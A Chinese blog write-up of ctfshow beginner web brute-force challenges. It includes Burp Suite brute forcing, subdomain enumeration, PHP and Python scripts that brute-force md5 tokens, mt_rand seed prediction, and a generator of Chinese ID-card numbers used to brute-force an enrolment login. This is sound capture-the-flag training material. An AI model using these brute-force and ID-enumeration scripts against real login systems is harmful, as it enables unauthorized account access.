ctfshow web入门 爆破

web21 bp爆破

bp抓包,设置爆破点,导入字典啥的设置好就开始爆破,字典很短很容易拿到flag

web22 子域名爆破

在线工具 https://phpinfo.me/domain

爆破一下ctf.show的子域名,可以看到有好几个子域名,挨个查看源码,在vip.ctf.show源码中找到flag

web23

法一

<?php
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

token被md5加密,第一个条件:它的第一位=第十四位=第十七位,第二个条件:(第一位+第十四位+第十七位)/第一位=第三十一位

编写php代码对token进行爆破

<?php
for($i=0;$i<10000;$i++)
{
    $token=md5($i);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){

            echo 'token'.$i.'md5'.$token;
        }
    }
}
?>

phpstudy本地搭建环境访问php文件得到token值访问 ?token=xxx得到flag

python爆破

直接上python脚本

import requests

a = "3abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012456789"
for i in a:
    for j in a:
        url ="http://df340cc0-81f5-4547-b8b7-5fca3c34ee6e.challenge.ctf.show/?token="+str(i)+str(j)
        req = requests.get(url=url).text
        if "flag" in req:
            print(req)
            exit()
        else:
            print(url)
#3i

web24

<?
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?>

mt_srand() 函数播种 Mersenne Twister 随机数生成器。它会生成一个随机数,如何r的值和这个生成随机数的值相同,得到flag,上脚本

<?
mt_srand(372619038);
echo intval(mt_rand());
?>

第一次得到的随机数居然不行。。。。看到大师傅的视频才发现php版本太低,换到高版本得到新的随机数,拿到flag

web25

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

web26

原理和web21完全一样,bp抓包爆破密码,但是不知道为啥我go了一下返回包就有flag了

web27

很有趣的一道题目

进入环境之后是一个套着正方管理系统壳子的教务登录系统,百度了一下正方登录账号一般为学号,初始密码是身份证号码。然后在登录框下面发现一个录取名单。

还有一个学生信息查询的,可以通过学生姓名和身份证号查询学号,但是名单上的身份证号码中间8位是隐藏的,我们可以写一个脚本先跑出合理的身份证号码,然后进行爆破

脚本

<?php
$card=array();
for ($y=1990;$y<2000;$y++){
    for($m=1;$m<13;$m++){
        if($m<10){
            $m='0'.$m;
        }
        for($d=1;$d<32;$d++){
            if($d<10){
                $d='0'.$d;
            }
            array_push($card,'621022'.$y.$m.$d.'5237');
        }
    }
}

function checkCard($c){
    $list = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2];
    $crc = [1,0,'x',9,8,7,6,5,4,3,2];
    $ca = str_split($c);
    $sum=0;
    for ($i=0; $i<count($ca);$i++){
        $sum+=$ca[$i]*$list[$i];
    }
    $crc_ = $sum%11;
    if($ca[count($ca)-1]==$crc[$crc_]){
        return true;
    }else{
        return false;
    }
}

foreach ($card as $c ) {
    if(checkCard($c)){
        echo $c.'<br>';
    }
}
?>

得到sfz号字典后,放到bp里面爆破一下拿到正确的sfz号,查学号登录拿flag

web28

它的路径是/0/1/2.txt,可以尝试爆破路径,去掉2.txt,生成1到100的字典分别爆破0,1得到flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值